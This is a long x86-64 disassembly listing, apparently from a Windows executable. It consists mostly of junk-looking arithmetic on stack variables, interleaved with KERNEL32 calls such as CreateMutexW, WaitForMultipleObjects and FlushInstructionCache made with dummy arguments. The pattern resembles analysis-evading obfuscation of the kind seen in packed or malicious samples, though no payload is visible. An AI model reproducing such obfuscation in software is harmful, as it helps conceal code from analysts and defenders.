mov rax, qword [rsp + 0x4140]
movzx eax, byte [rax]
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4060]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x4260], rax
movsx eax, word [rsp + 0xc90]
movsx ecx, word [rsp + 0xc7c]
or eax, ecx
mov rcx, qword [rsp + 0x3f00]
mov word [rcx], ax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0x618]
sub eax, ecx
mov word [0x14018acf8], ax
lea rax, [0x14018acf0]
mov qword [rsp + 0x4268], rax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3de8], rax
movsx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb48], ax
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1ff4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [0x14018acd9]
mov qword [rsp + 0x4270], rax
mov rax, qword [rsp + 0x4060]
mov rcx, qword [rsp + 0x37b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1de0]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
sar eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x1b3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x4278], rax
lea rax, [rsp + 0xc64]
mov qword [0x14018beb0], rax
mov rax, qword [rsp + 0x3ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3fd0]
mov word [rcx], ax
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x4280], rax
mov rax, qword [rsp + 0x4268]
mov rax, qword [rax]
mov rcx, qword [0x14018bdf8]
mov qword [rsp + 0x4288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4288]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f68]
mov rcx, qword [rsp + 0x41c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x152]
mov qword [rsp + 0x4290], rax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x4298], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov qword [0x14018be90], rax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x42a0], rax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [0x14018acf0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x42a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3eb8], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x42b0], rax
mov rax, qword [rsp + 0x4160]
mov rcx, qword [0x14018be10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x38a0], rax
mov rax, qword [rsp + 0x4138]
mov ecx, dword [rsp + 0x2028]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ec0], eax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b3]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [rsp + 0xc58]
mov qword [0x14018beb8], rax
mov rax, qword [rsp + 0x3f00]
movzx eax, word [rax]
mov word [rsp + 0xcb4], ax
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0x8b0]
and eax, ecx
mov word [rsp + 0x544], ax
movzx eax, word [rsp + 0xc94]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3c0], ax
mov rax, qword [0x14018be48]
mov rcx, qword [rsp + 0x4160]
mov qword [rsp + 0x42b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42b8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1ff4]
mov dword [rsp + 0x2048], eax
mov rax, qword [rsp + 0x4148]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
xor eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x3dc]
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0x34f8]
mov qword [0x14018bec0], rax
mov rax, qword [rsp + 0x3f78]
movzx ecx, al
mov rax, qword [rsp + 0x2f10]
shl rax, cl
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37e8]
mov rcx, qword [0x14018be90]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x3f78]
mov qword [rsp + 0x42c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa80]
add eax, ecx
mov rcx, qword [rsp + 0x3fd0]
mov word [rcx], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x42c8], rax
mov rax, qword [rsp + 0x4138]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ec0], eax
mov rax, qword [rsp + 0x38a0]
mov rcx, qword [rsp + 0x3d08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3358], rax
mov rax, qword [rsp + 0x3f68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2038]
shr eax, cl
mov dword [rsp + 0x1fe4], eax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x1ad]
sub eax, ecx
mov byte [0x14018acdb], al
movsx eax, word [0x14018be58]
mov rcx, qword [rsp + 0x4188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3f00]
movzx eax, word [rax]
mov word [rsp + 0xcbc], ax
movzx eax, word [rsp + 0xc78]
movzx ecx, word [rsp + 0x3dc]
and eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
lea rax, [0x14018ace0]
mov qword [rsp + 0x42d0], rax
mov rax, qword [rsp + 0x3eb0]
mov rcx, qword [rsp + 0x4260]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x38a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ed8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
or eax, ecx
mov byte [rsp + 0x69], al
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x4298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
shl eax, cl
mov word [rsp + 0xc5c], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3ff0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018acf8], ax
mov rax, qword [rsp + 0x4218]
mov rax, qword [rax]
mov qword [rsp + 0x42d8], rax
mov rax, qword [rsp + 0x4030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
sar eax, cl
mov word [rsp + 0x544], ax
mov eax, dword [rsp + 0x1fd0]
mov ecx, dword [rsp + 0x1fc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x42e0], rax
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x4128]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x42e8], rax
mov rax, qword [rsp + 0x3ec0]
mov rcx, qword [rsp + 0x3dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4248]
movzx eax, word [rax]
mov word [rsp + 0xcc0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov word [0x14018bec8], ax
mov rax, qword [rsp + 0x3eb8]
mov rcx, qword [rsp + 0x3e40]
mov qword [rsp + 0x42f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42f0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x40b0], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
and eax, ecx
mov word [rsp + 0x554], ax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
add eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x2034]
mov qword [rsp + 0x42f8], rax
mov rax, qword [0x14018be98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov rcx, qword [rsp + 0x4230]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x4060]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x4300], rax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4148]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018be38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b4]
shl eax, cl
mov word [rsp + 0xc94], ax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 4
mov dword [rax], 0x4b556000
lea rax, [rsp + 0x154]
mov qword [rsp + 0x4308], rax
mov eax, dword [rsp + 0x2044]
mov ecx, dword [rsp + 0x2028]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3880]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0x4310], rax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x1b0]
add eax, ecx
mov rcx, qword [rsp + 0x4230]
mov byte [rcx], al
lea rax, [rsp + 0x2038]
mov qword [rsp + 0x4318], rax
mov rax, qword [rsp + 0x3f40]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
sub eax, ecx
mov word [rsp + 0xc70], ax
movzx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018acf8], ax
mov rax, qword [rsp + 0x4300]
mov rcx, qword [rsp + 0x4120]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
lea rax, [rsp + 0x3dc]
mov qword [rsp + 0x4320], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4328], rax
mov rax, qword [rsp + 0x40f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x554]
sar eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
lea rax, [rsp + 0x37e8]
mov qword [rsp + 0x4330], rax
mov rax, qword [0x14018bde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2048]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x4338], rax
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4310]
mov qword [rcx], rax
movzx eax, word [0x14018bea8]
movzx ecx, word [rsp + 0xa80]
shl eax, cl
mov word [rsp + 0xcb0], ax
lea rax, [rsp + 0x40b0]
mov qword [0x14018bed0], rax
mov r9d, 0x8ed
xor r8d, r8d
lea rdx, [rsp + 0x3aa0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1fa4], eax
mov rax, qword [rsp + 0x40f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b4], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ec0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
or eax, ecx
mov word [rsp + 0x69c], ax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3c0]
sar eax, cl
mov rcx, qword [rsp + 0x4030]
mov word [rcx], ax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2048], eax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x4340], rax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3fc0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3d80]
mov qword [rcx], rax
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [0x14018ad00], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [0x14018be30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x2f10]
mov qword [rsp + 0x4350], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ab]
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x3358]
movzx ecx, al
mov rax, qword [rsp + 0x3d08]
shr rax, cl
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2038]
mov ecx, dword [rsp + 0x1ff4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4318]
mov dword [rcx], eax
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x4358], rax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x14a]
sub eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
movsx eax, word [rsp + 0xcbc]
movsx ecx, word [rsp + 0xc68]
and eax, ecx
mov rcx, qword [0x14018be20]
mov word [rcx], ax
movzx eax, word [rsp + 0x3c0]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x694], ax
mov rax, qword [rsp + 0x4320]
movzx eax, word [rax]
movzx ecx, word [0x14018ad00]
shl eax, cl
mov rcx, qword [rsp + 0x3fd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42d8]
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x3fe8]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3e60]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [0x14018be98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x4368], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc98]
sar eax, cl
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x4370], rax
mov rax, qword [rsp + 0x4108]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018acf0], rax
movzx eax, word [rsp + 0x618]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f08]
mov qword [rsp + 0x4378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4378]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2fc0], rax
mov rax, qword [rsp + 0x2b08]
mov rcx, qword [rsp + 0x3fc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4368]
mov eax, dword [rax]
mov dword [rsp + 0x2050], eax
mov eax, dword [rsp + 0x1fd0]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x4380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4380]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2044], eax
mov rax, qword [rsp + 0x3f90]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
lea rax, [rsp + 0x18d]
mov qword [rsp + 0x4388], rax
lea rax, [rsp + 0xcbc]
mov qword [0x14018bed8], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x3fa8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [0x14018be68]
movzx eax, word [rax]
mov word [rsp + 0xcc4], ax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb0]
add eax, ecx
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x4390], rax
mov rax, qword [rsp + 0x3ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2040]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x4230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4270]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x4398], rax
mov rax, qword [0x14018be60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f78]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42c0]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3280], rax
mov rax, qword [rsp + 0x3eb8]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x40c8]
mov dword [rcx], eax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x43a0], rax
mov rax, qword [rsp + 0x2fa8]
movzx ecx, al
mov rax, qword [rsp + 0x3358]
shr rax, cl
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3ec0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x43a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2048], eax
lea rax, [rsp + 0x1ab]
mov qword [0x14018bee0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2054], eax
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4190]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x43b0], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [0x14018ace8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x41d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e28], rax
lea rax, [rsp + 0x152]
mov qword [rsp + 0x43b8], rax
mov rax, qword [rsp + 0x3ec0]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1c3c], eax
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x43c0], rax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov word [0x14018bee8], ax
mov rax, qword [0x14018be30]
mov rcx, qword [rsp + 0x3880]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4108]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca4]
mov word [rsp + 0xccc], ax
mov rax, qword [rsp + 0x4138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2028]
sar eax, cl
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3e90]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f10]
mov byte [rcx], al
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x43c8], rax
mov rax, qword [rsp + 0x40e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
sub eax, ecx
mov byte [rsp + 0x69], al
lea rax, [rsp + 0x4060]
mov qword [rsp + 0x43d0], rax
mov rax, qword [rsp + 0x4188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x40f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc70], ax
lea rax, [rsp + 0xc78]
mov qword [0x14018bef0], rax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [0x14018bec0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3880], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x40b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3080], rax
mov rax, qword [rsp + 0x3f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x3ec0]
mov rcx, qword [rsp + 0x3f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
mov rax, qword [rsp + 0x4060]
mov qword [rsp + 0x43d8], rax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x3fb8]
mov qword [rsp + 0x43e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43e0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f18]
movsx eax, word [rax]
mov rcx, qword [0x14018bea0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018be88]
mov word [rcx], ax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x43e8], rax
mov rax, qword [rsp + 0x3e20]
mov ecx, dword [rsp + 0x1fc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fd0], eax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x43f0], rax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x3f70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x37e8], rax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x4340]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4230]
mov byte [rcx], al
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x43f8], rax
mov rax, qword [rsp + 0x3ea8]
mov rax, qword [rax]
mov rcx, qword [0x14018be48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4258], rax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x4400], rax
lea rax, [rsp + 0xcb8]
mov qword [0x14018bef8], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x3e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x40b0], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x3f20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
xor eax, ecx
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0x34f8]
movzx ecx, al
mov rax, qword [rsp + 0x2ac8]
shl rax, cl
mov rcx, qword [rsp + 0x4068]
mov qword [rcx], rax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x4408], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4290]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x43f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2010]
shr eax, cl
mov rcx, qword [rsp + 0x40c0]
mov dword [rcx], eax
